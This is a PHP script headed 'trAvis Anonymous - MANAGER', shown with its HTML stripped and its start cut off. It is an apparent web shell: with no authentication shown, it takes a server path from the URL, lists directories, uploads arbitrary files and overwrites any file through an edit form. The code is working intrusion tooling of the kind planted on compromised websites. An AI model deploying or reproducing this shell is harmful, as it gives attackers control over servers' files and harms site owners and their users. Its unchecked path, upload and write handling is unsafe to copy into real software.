trAvis Anonymous - MANAGER
$pat) {
if ($pat == '' && $id == 0) {
$breadcrumbs[] = '
/';
continue;
}
if ($pat == '') continue;
$breadcrumbs[] = '
'.$pat.'/';
}
return implode('', $breadcrumbs);
}
function display_directory_contents($path) {
$contents = scandir($path);
$folders = [];
$files = [];
foreach ($contents as $item) {
if ($item == '.' || $item == '..') continue;
$full_path = $path . '/' . $item;
if (is_dir($full_path)) {
$folders[] = '
Folder: ' . $item . '';
} else {
$file_size = filesize($full_path); // Get file size
$size_unit = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
$file_size_formatted = $file_size ? round($file_size / pow(1024, ($i = floor(log($file_size, 1024)))), 2) . ' ' . $size_unit[$i] : '0 B'; // Format file size
$files[] = '
File: ' . $item . ' (' . $file_size_formatted . ')'; // Display file size
}
}
echo '
';
echo implode('', $folders);
if (!empty($folders) && !empty($files)) {
echo '
';
}
echo implode('', $files);
echo '
';
}
function create_folder($path, $folder_name) {
$folder_name = clean_input($folder_name);
$new_folder_path = $path . '/' . $folder_name;
if (!file_exists($new_folder_path)) {
mkdir($new_folder_path);
echo "Folder '$folder_name' created successfully!";
} else {
echo "Folder '$folder_name' already exists!";
}
}
function upload_file($path, $file_to_upload) {
$target_directory = $path . '/';
$target_file = $target_directory . basename($file_to_upload['name']);
$uploadOk = 1;
if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) {
echo "File ". htmlspecialchars(basename($file_to_upload['name'])). " uploaded successfully.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
function edit_file($file_path) {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$content = $_POST['file_content'];
if (file_put_contents($file_path, $content) !== false) {
echo "File saved successfully.";
} else {
echo "There was an error while saving the file.";
}
}
$content = file_get_contents($file_path);
echo '
';
}
if (isset($_GET['path'])) {
$path = $_GET['path'];
} else {
$path = getcwd();
}
if (isset($_GET['action'])) {
$action = $_GET['action'];
switch ($action) {
case 'edit':
if (isset($_GET['file'])) {
$file = $_GET['file'];
$file_path = $path . '/' . $file;
if (file_exists($file_path)) {
echo '
Edit File: ' . $file . '
';
edit_file($file_path);
} else {
echo "File not found.";
}
} else {
echo "Invalid file.";
}
break;
default:
echo "Invalid action.";
}
} else {
echo "
Directory: " . $path . "
";
echo "
" . navigate_directory($path) . "
";
echo "
Directory Contents:
";
display_directory_contents($path);
echo '
';
echo '
Create New Folder:
';
echo '
';
echo '
Upload New File:
';
echo '
';
}
if(isset($_POST['create_folder'])) {
create_folder($path, $_POST['folder_name']);
}
if(isset($_POST['upload_file'])) {
upload_file($path, $_FILES['file_to_upload']);
}
?>